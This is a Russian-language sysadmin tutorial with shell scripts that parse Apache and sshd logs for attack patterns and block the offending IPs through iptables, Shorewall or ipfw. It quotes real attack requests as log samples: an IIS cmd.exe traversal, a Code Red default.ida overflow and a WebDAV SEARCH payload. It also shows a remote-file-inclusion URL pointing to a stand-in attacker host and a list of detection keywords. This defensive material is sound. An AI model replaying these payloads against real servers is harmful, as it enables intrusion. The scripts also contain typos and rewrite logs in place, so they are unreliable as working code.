Web-Server. Блокировка IP-adress'а по определённому признаку. Печать
Автор: Administrator   
31.05.11 14:08

Web-Server. Блокировка IP-adress'а по определённому признаку.

Этот скрипт позволяет Вам блокировать доступ на Ваш Web-Server нежелательных гостей, которые попытаются выполнить какие-то на Ваш взгляд нежелательные скрипты или изменить какие-то файлы на Вашем Web-Server'е.
Назовём этот скрипт ip_block.sh и поместим его ... ну .. скажем в директорию /usr/local/sbin....


Скрипт ip_block.sh.
Цитата:
#!/bin/sh
########## Параметры Web-Serverа' #####################################################
APACHE="/var/run/httpd2.pid" # Тест Apache Server'а
LOG="/var/log/apache2/access_log" # Log-file Web-Server'а
IP_WEB=192.168.67.90 # IP-adress Web-Server'а
##################################################################################
if [ ! -f "$APACHE" ] ; then
echo "Apache is unused"

exit 1 ;

fi
################### впишите сюда Ваш шаблон ##########################################
for ARG in "SEARCH" "cmd.exe" "default.ida?"

###################################################################################
do
while [ ! -z "`cat $LOG | grep $ARG | cut -d " " -f 1`" ]
do
IP="`cat $LOG | grep $ARG | head -1 | cut -d " " -f 1`"


iptables -A INPUT -s
$IP -d $IP_WEB -p tcp --dport 80 -j DROP
iptables -A INPUT -s $IP -d $IP_WEB -p tcp --dport 443 -j DROP

sed -e
"s/$ARG/XXXXXXXXXXX/g" $LOG > ip_tmp && cp ip_tmp $LOG;
done
done
exit 0

1. Проанализируйте лог-файл ( /var/log/apache2/access_log) Вашего Web-Server'а и Вы найдёте много забавных строк, таких как например в ниже приведённых примерах:
Цитата:
213.179.172.91 - - [01/Apr/2004:22:53:56 +0200] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1
\x02\xb1\x02\....etc etc....

Цитата:
24.76.12.17 - - [20/Jun/2001:05:16:27 -0500] "GET /scripts/..%../winnt/system32/cmd.exe ?/c+copy+c:\winnt\system32\cmd.exe+c:\
inetpub\scripts\shell.exe" 404 -

Цитата:
196.41.163.238 - - [19/Jul/2001:08:56:04 -0700] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%
ucbd3 %u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3

... ну и т.д.

2. Из этих строк выберите шаблон (параметр), по которому скрипт, анализируя лог-файл Web-Server'а, будет блокировать соответствующие ip-adresse ( в этом примере это будут параметры "SEARCH" "cmd.exe" "default.ida?" ) и впишите их в скрипт в выделенную строку:

#################################################################################
for ARG in "SEARCH" "cmd.exe" "default.ida?" "displaycategory"
##################################################################################

Небольшой пример:
Если на вашем Web-Server'е установлен модуль 4nalbum для nuke71 и кто-то попытается через него получить доступ на сервер:

http://[victim]/nuke71/modules/4nalbum/public/displaycategory.php ?basepath=http://[attacker]/

то у него остаётся меньше одной минуты времени что бы что-либо предпринять до того как его ip-adress будет заблокирован....

Для этого нужно только внести в скрипт шаблон "displaycategory" и скрипт будет каждую минуту добросовестно проверять наличие этой записи в логах и при положительном результате заблокирует соответствующий ip-adress.

Примечание:Шаблоны должны быть отделены друг от друга одним пустым знаком.
Cм: man sed

3. Скорректируйте параметры Вашего Web-Server'а в начале скрипта...
##################################################################################
APACHE="/var/run/httpd2.pid" # Тест Apache Server'а
LOG="/var/log/apache2/access_log" # Log-file Web-Server'а
IP_WEB=192.168.67.90 # IP-adress Web-Server'а
##################################################################################

4. Проверте работу скрипта приказом sh -x ip_block.sh :
Цитата:
server:~ # sh -x web.sh
+ APACHE=/var/run/httpd2.pid
+ LOG=/var/log/apache2/access_log
+ IP_WEB=192.168.67.90
+ '[' '!' -f /var/run/httpd2.pid ']'
++ cat /var/log/apache2/access_log
++ grep SEARCH

++ cut -d ' ' -f 1
+ '[' '!' -z '213.179.172.911' ']'
++ cat /var/log/apache2/access_log
++ grep SEARCH

++ head -1
++ cut -d ' ' -f 1
+ IP=213.179.172.91

+ iptables -A INPUT -s 213.179.172.91 -d 192.168.67.90 -p tcp --dport 80 -j DROP
+ iptables -A INPUT -s 213.179.172.91 -d 192.168.67.90 -p tcp --dport 443 -j DROP
+ sed -e s/SEARCH/XXXXXXXXX/g /var/log/apache2/access_log
+ cp ip_tmp /var/log/apache2/access_log
++ cat /var/log/apache2/access_log
++ grep SEARCH

++ cut -d ' ' -f 1
+ '[' '!' -z '' ']'
++ cat /var/log/apache2/access_log
++ grep cmd.exe

++ cut -d ' ' -f 1
+ '[' '!' -z 24.76.12.17 ']'
++ cat /var/log/apache2/access_log
++ head -1
++ grep cmd.exe

++ cut -d ' ' -f 1
+ IP=24.76.12.17

+ iptables -A INPUT -s 24.76.12.17 -d 192.168.67.90 -p tcp --dport 80 -j DROP
+ iptables -A INPUT -s 24.76.12.17 -d 192.168.67.90 -p tcp --dport 443 -j DROP
+ sed -e s/cmd.exe/XXXXXXXXX/g /var/log/apache2/access_log
+ cp ip_tmp /var/log/apache2/access_log
++ cat /var/log/apache2/access_log
++ grep cmd.exe

++ cut -d ' ' -f 1
+ '[' '!' -z '' ']'
++ cat /var/log/apache2/access_log
++ grep default.ida?

++ cut -d ' ' -f 1
+ '[' '!' -z 196.41.163.238 ']'
++ cat /var/log/apache2/access_log
++ head -1
++ grep default.ida?

++ cut -d ' ' -f 1
+ IP=196.41.163.238

+ iptables -A INPUT -s 196.41.163.238 -d 192.168.67.90 -p tcp --dport 80 -j DROP
+ iptables -A INPUT -s 196.41.163.238 -d 192.168.67.90 -p tcp --dport 443 -j DROP
+ sed -e s/default.ida?/XXXXXXXXX/g /var/log/apache2/access_log
+ cp ip_tmp /var/log/apache2/access_log
++ cat /var/log/apache2/access_log
++ grep displaycategory

++ cut -d ' ' -f 1
+ '[' '!' -z 147.15.0.16 ']'
++ cat /var/log/apache2/access_log
++ grep displaycategory

++ head -1
++ cut -d ' ' -f 1
+ IP=147.15.0.16

+ iptables -A INPUT -s 147.15.0.16 -d 192.168.67.90 -p tcp --dport 80 -j DROP
+ iptables -A INPUT -s 147.15.0.16 -d 192.168.67.90 -p tcp --dport 443 -j DROP
+ sed -e s/displaycategory/XXXXXXXXXXXX/g /var/log/apache2/access_log
+ cp ip_tmp /var/log/apache2/access_log
++ cat /var/log/apache2/access_log
++ grep displaycategory

++ cut -d ' ' -f 1
+ '[' '!' -z '' ']'

+ exit 0

server:~ #


5. Если нет сообщений об ошибках - проверим правила iptables, которые сгенерировал скрипт.

Цитата:
server: # iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- 213.179.172.91 sever.linux.net tcp dpt:http
DROP tcp -- 213.179.172.91 server.linux.net tcp dpt:https
DROP tcp -- 24.76.12.17 sever.linux.net tcp dpt:http
DROP tcp -- 24.76.12.17 server.linux.net tcp dpt:https
DROP tcp -- 196.41.163.238 sever.linux.net tcp dpt:http
DROP tcp -- 196.41.163.238 server.linux.net tcp dpt:https
DROP tcp -- 147.15.0.16 sever.linux.net tcp dpt:http
DROP tcp -- 147.15.0.16 server.linux.net tcp dpt:https

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination
server: #

Как видим четыре ip-adress'a заблокированы.
Эти правила можно в любой момент сбросить приказом iptables -F

6. Ну осталось только записать скрипт в crontab, чтобы он проиерял лог-файлы каждую минуту и если он найдёт заданный Вами параметр , то соответствующий IP будет блокирован.....

Цитата:
-*/1 * * * * root sh -x /usr/local/sbin/ip_block.sh >/dev/null 2>&1



Часть II.

SSH. Блокировка IP-adress'а по определённому признаку.

В перовой части я коротко объяснил работу скрипта для Веб-сервера, но скрипт ssh_block.sh работает по тому же принципу - анализ лог-файлов.

В линуксе, в файле /var/log/messages ведётся запись входов в систему по ssh-протоколу. Приведу два примера...

Для попытки зайти с консоли по ssh был введён неправильный пароль:
Цитата:
Oct 8 15:39:55 router sshd[17744]: Failed keyboard-interactive/pam for root from ::ffff:12.202.228.14 port 36966 ssh2
Oct 8 15:39:55 router sshd[17744]: Connection closed by ::ffff:212.202.228.14


Лог от сканирования Nessus'ом:

Цитата:
Oct 8 10:33:03 router sshd[4333]: Did not receive identification string from ::ffff:12.202.228.14
Oct 8 10:33:13 router sshd[4358]: Did not receive identification string from ::ffff:212.202.28.14
Oct 8 10:33:23 router sshd[4359]: Did not receive identification string from ::ffff:212.202.28.14


Заносим в скрипт эти слова "Failed" и "Did".

Очень важная строка в скрипте:
Цитата:
echo "$IP" >> $BLACKLIST

Этой командой выделенный IP заносится в "BLACKLIST" моего файервола.

( В качестве файервола я использую Shorewall..... После того как IP занесены в "/etc/shorewall/blacklist" - делается restart shorewall и IP заблокированы. )

Если Вы пользуетесь другим файерволом - замените эту строку например на такую:
Цитата:
DEV="ppp0"
iptables -I INPUT -i $DEV -s $IP -j DROP

.... или придумайте что-то другое...

Скрипт ssh_block.sh
Цитата:
#!/bin/sh
#
LOG="/var/lig/messasges" # Log-file Server'a
BLACKLIST="/etc/shorewall/blacklist"

#
for ARG in "Failed" "Did"
do
while [ ! -z "`cat $LOG | grep $ARG | cut -d : -f 7 |cut -d " " -f 1`" ]
do
IP="`cat $LOG | grep $ARG | cut -d : -f 7 |cut -d " " -f 1`"

echo "$IP" >> $BLACKLIST

sed -e "s/$ARG/XXXXXXXXX/g" $LOG > ip_tmp && cp ip_tmp $LOG ;
touch flag;
done
done
#
if [ -f flag ]; then
shorewall restart
rm -f flag;
fi


cp ssh_block.sh /usr/local/sbin
chmod 755 /usr/local/sbin/ssh_block.sh

/etc/crontab:
Цитата:
-*/1 * * * * root /usr/local/sbin/ssh_block.sh >/dev/null 2>&1


Очень помогает от сопливых хацкеров...

PC: Держать блокировку долго не имеет смысла т.к. при повторной попытке скрипт заблокирует IP опять.... да и IP в основном динамические...

У разных дистрибутивов записи в логфайлах могут отличатся по форме...
Для таких логов (FreeBSD) :
Цитата:
Oct 16 20:10:10 legacy sshd[59955]: Did not receive identification string from 211.156.128.23
Oct 16 20:19:43 legacy sshd[59961]: Illegal user patrick from 211.156.128.23
Oct 16 20:20:34 legacy sshd[59985]: Illegal user horde from 211.156.128.23
Oct 16 20:20:38 legacy sshd[59987]: Illegal user cyrus from 211.156.128.23
Oct 17 01:29:25 legacy sshd[60366]: Illegal user test from 218.237.4.57
Oct 17 01:29:28 legacy sshd[60368]: Illegal user guest from 218.237.4.57
Oct 17 01:29:32 legacy sshd[60370]: Illegal user admin from 218.237.4.57
Oct 17 23:29:11 legacy sshd[64098]: Did not receive identification string from 147.46.76.225
Oct 17 23:37:18 legacy sshd[64139]: Illegal user patrick from 147.46.76.225
Oct 17 23:37:22 legacy sshd[64141]: Illegal user patrick from 147.46.76.225
Oct 17 23:39:35 legacy sshd[64151]: fatal: Timeout before authentication for 147.46.76.225
Oct 18 00:09:42 legacy sshd[64320]: Illegal user test from 211.174.181.158
Oct 18 00:09:45 legacy sshd[64322]: Illegal user guest from 211.174.181.158
Oct 18 00:10:18 legacy sshd[64330]: Illegal user test from 211.34.197.3
Oct 18 00:10:22 legacy sshd[64332]: Illegal user guest from 211.34.197.3
Oct 18 00:10:44 legacy sshd[64347]: Illegal user test from 211.34.197.3

Можно применить в скрипте такую команду:
Цитата:
freebsd:~ # cat /var/log/auth.log | grep Illegal | cut -d " " -f 10
211.156.128.23
211.156.128.23
211.156.128.23
211.156.128.23
218.237.4.57
218.237.4.57
218.237.4.57
147.46.76.225
147.46.76.225
211.174.181.158
211.174.181.158
211.34.197.3
211.34.197.3
211.34.197.3
freebsd:~ #


.. и скрипт должен выглядеть примерно так:
( Правила для фаервола даны как пример - запишите туда свои правила!!!! )
Цитата:
#!/bin/sh
#
LOG="/var/log/auth.log" # Log-file Server'a
EXT_IF="xl0"

IPFW="/sbin/ipfw"

#
for ARG in "Illegal"

do
while [ ! -z "`cat $LOG | grep $ARG | cut -d " " -f 10`" ]
do
IP="`cat $LOG | grep $ARG | cut -d " " -f 10`"

echo "$IP" >> blacklist
while [ ! -z "`head -n1 blacklist`" ]
do
IP_BLACK="`head -n1 blacklist`"

echo "$IPFW add deny all from" $IP_BLACK "to any in recv" $EXT_IF >>
black_firewall_tmp

###################### правила фаервола /etc/rc.firewall ##################################

# Здесь нужно записать свои правила для фаервола


### -----> begin

echo "#!/bin/sh" > black_firewall # !!! > 1 один раз!!!
echo "echo "Start firewall---"" >> black_firewall
echo "IPFW="/sbin/ipfw"" >> black_firewall
echo "INT_IF="em0"" >> black_firewall
echo "EXT_IF="xl0"" >> black_firewall
echo "$IPFW add allow all from any to any via lo0" >> black_firewall
echo "$IPFW add deny all from any to 127.0.0.0/8 " >> black_firewall
echo "$IPFW add deny all from 127.0.0.0/8 to any in recv $EXT_IF" >> black_firewall
echo "$IPFW add deny all from 10.0.0.0/8 to any in recv $EXT_IF " >> black_firewall
echo "$IPFW add deny all from 172.16.0.0/16 to any in recv $EXT_IF" >> black_firewall
echo "$IPFW add deny all from 192.168.0.0/24 to any in recv $EXT_IF" >> black_firewall
cat black_firewall_tmp >> black_firewall
echo "$IPFW add deny all from any to any" >> black_firewall
echo "echo "DONE"" >> black_firewall
###------> end
#############################################################################

chmod 755 black_firewall

cp black_firewall /etc/rc.firewall
sed -e "1d" blacklist > blacklist_tmp && cp blacklist_tmp blacklist
done
sed -e "s/$ARG/XXXXXXXXX/g" $LOG > black_ip_tmp && cp black_ip_tmp $LOG ;
touch flag;
done
done
#
if [ -f flag ]; then
/bin/sh /etc/rc.firewall
rm -f flag;
rm -f black*;
#
fi





и так далее... Импровизируйте....

оригинал: gennadi.dyn.ee

ссылка на статью: http://thin.kiev.ua/index.php?option=com_content&view=article&id=387:web-server-ip-adress-&catid=39:linux&Itemid=63

 

{jcomments on}

Последнее обновление 31.05.11 14:23